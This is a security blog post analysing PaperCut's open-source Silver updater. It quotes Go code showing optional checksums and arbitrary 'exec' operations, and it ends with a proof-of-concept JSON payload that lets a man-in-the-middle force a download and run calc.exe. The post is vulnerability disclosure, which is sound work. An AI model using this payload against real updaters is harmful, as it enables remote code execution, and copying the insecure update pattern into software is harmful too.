Neuebits

A blog by Graham Smith

PaperCut's Silver: A Common Mistake in Software Updates

Something that has recently caught my attention is poor security practices in regard to software updates. One of the best things you can do to protect yourself is to update your software, but what happens when automatic or manual updates themselves open you up to other attacks?

Take for example Silver, an open-source project from PaperCut, creators of print management software “used by over 50,000 organizations worldwide.” I am told that “the project that uses Silver is not public yet - [Papercut] plan[s] to launch next year.” Let’s examine PaperCut plans to use Silver to “host an agent service installed at customer sites that needs to operate reliably with zero on-site maintenance and configuration.”

Looking through updater.go, we spot a function of interest:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
func setupHTTPProxy() {
  if len(*httpProxy) > 0 {
      os.Setenv("HTTP_PROXY", *httpProxy)
      return
  }
  var proxy = ""
  if dat, err := ioutil.ReadFile("http-proxy.conf"); err == nil {
      proxy = strings.TrimSpace(string(dat))
  }
  if proxy != "" {
      os.Setenv("HTTP_PROXY", proxy)
      return
  }
}

From here, we assume that any requests being made (at least from within updater.go) are being made over HTTP (there are various other reasons). Moving on, we notice another function of interest:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
func checkUpdate(url string, currentVer string) (*UpgradeInfo, error) {
  client := &http.Client{}
  req, err := http.NewRequest("GET", url+"?version="+currentVer, nil)
  if err != nil {
      return nil, err
  }
  req.Header.Set("User-Agent", "Update Check")

  res, err := client.Do(req)
  if err != nil {
      return nil, err
  }
  defer res.Body.Close()

  if res.StatusCode == http.StatusNotModified {
      return nil, nil
  }

  dec := json.NewDecoder(res.Body)
  var info UpgradeInfo
  err = dec.Decode(&info)
  if err != nil {
      return nil, errors.New(fmt.Sprintf("Unable to parse JSON at %s : %v", url, err))
  }

  if info.Version != "" && info.Version == currentVer {
      // Same version!
      return nil, nil
  }

  return &info, nil
}

If we were to MITM the request made by checkUpdate(), we can force an update / downgrade by supplying a malicious JSON response with any version different than the current version running on the system. A quick xref for checkUpdate() reveals a single call made by the following function:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
func upgradeIfRequired() (upgraded bool, err error) {
  currentVer := readCurrentVersion()
  if len(*overrideVersion) > 0 {
      currentVer = *overrideVersion
  }

  // Ping update URL
  upgradeInfo, err := checkUpdate(checkURL, currentVer)
  if err != nil {
      return false, err
  }

  if upgradeInfo == nil || upgradeInfo.URL == "" {
      // No upgrade required
      return false, nil
  }

  // Download
  fmt.Printf("Downloading version %s update from %s ...\n",
      upgradeInfo.Version,
      upgradeInfo.URL)

  zipfile, err := download(upgradeInfo.URL)
  if err != nil {
      return false, err
  }
  defer os.Remove(zipfile)

  if size, err := fileSize(zipfile); err == nil {
      fmt.Printf("Download complete (%d bytes).\n", size)
  }

  // Validate checksum if provided
  var fileSum string
  var requiredSum string
  switch {
  case len(upgradeInfo.Sha256) > 0:
      requiredSum = upgradeInfo.Sha256
      fileSum = checksum("sha256", zipfile)
  case len(upgradeInfo.Sha1) > 0:
      requiredSum = upgradeInfo.Sha1
      fileSum = checksum("sha1", zipfile)
  case len(upgradeInfo.Md5) > 0:
      requiredSum = upgradeInfo.Md5
      fileSum = checksum("md5", zipfile)
  }

  if len(requiredSum) > 0 && fileSum != requiredSum {
      return false, errors.New("Download checksum failed!")
  }

  // Unzip
  fmt.Println("Unzipping update ...")
  err = extractZip(zipfile, ".")
  if err != nil {
      return false, err
  }
  fmt.Println("Unzip complete.")

  // Perform any operations
  for _, op := range upgradeInfo.Operations {
      action := strings.ToLower(op.Action)
      var fn func([]string) error
      switch action {
      case "exec", "run":
          fn = execOp
      case "batchrename", "batch-rename":
          fn = batchRenameOp
      case "move", "mv":
          fn = moveOp
      case "copy", "cp":
          fn = copyOp
      case "remove", "rm", "del", "delete":
          fn = removeOp
      default:
          msg := fmt.Sprintf("Invalid operation action: '%s'", action)
          return false, errors.New(msg)
      }
      fmt.Printf("Performing operation '%s (%s)' ...\n",
          action, strings.Join(op.Args, ", "))
      if err := fn(op.Args); err != nil {
          msg := fmt.Sprintf("Operation failed with error: %v", err)
          return false, errors.New(msg)
      }
  }

  // Write version file
  ioutil.WriteFile(*versionFile, []byte(upgradeInfo.Version+"\n"), 0644)

  // Request service restart by writing the reload file into our root
  ioutil.WriteFile(".reload", []byte(""), 0644)

  // Success
  return true, nil
}

A malicious JSON response also allows us control of the download URL for the update / downgrade. Checksums are optional, although with a MITM that would not make the slightest difference. Not only that, but it seems we have quite a few options for (arbitrary) commands: exec / run, batchrename / batch-rename, move / mv, copy / cp, remove / rm / del / delete. We see that the exec / run opcode triggers a call to the following function:

1
2
3
4
5
6
7
8
9
10
11
12
13
func execOp(args []string) (err error) {
  if len(args) < 1 {
      return errors.New("Invalid exec operation format - arg expected.")
  }
  cmd := args[0]
  fmt.Printf("Running install command: %s\n", strings.Join(args, " "))
  os.Chmod(cmd, 0755)
  c := exec.Command(cmd, args[1:]...)
  c.Stdout = os.Stdout
  c.Stderr = os.Stderr
  err = c.Run()
  return err
}

Therefore, a malicious JSON response like the following could pop calc.exe:

1
2
3
4
5
6
7
8
9
10
{
    "url": "http://localhost:8080/malicious.zip",
    "version": "0",
    "operations": [
        {
            "action": "exec",
            "args": ["calc.exe", ""]
        }
    ]
}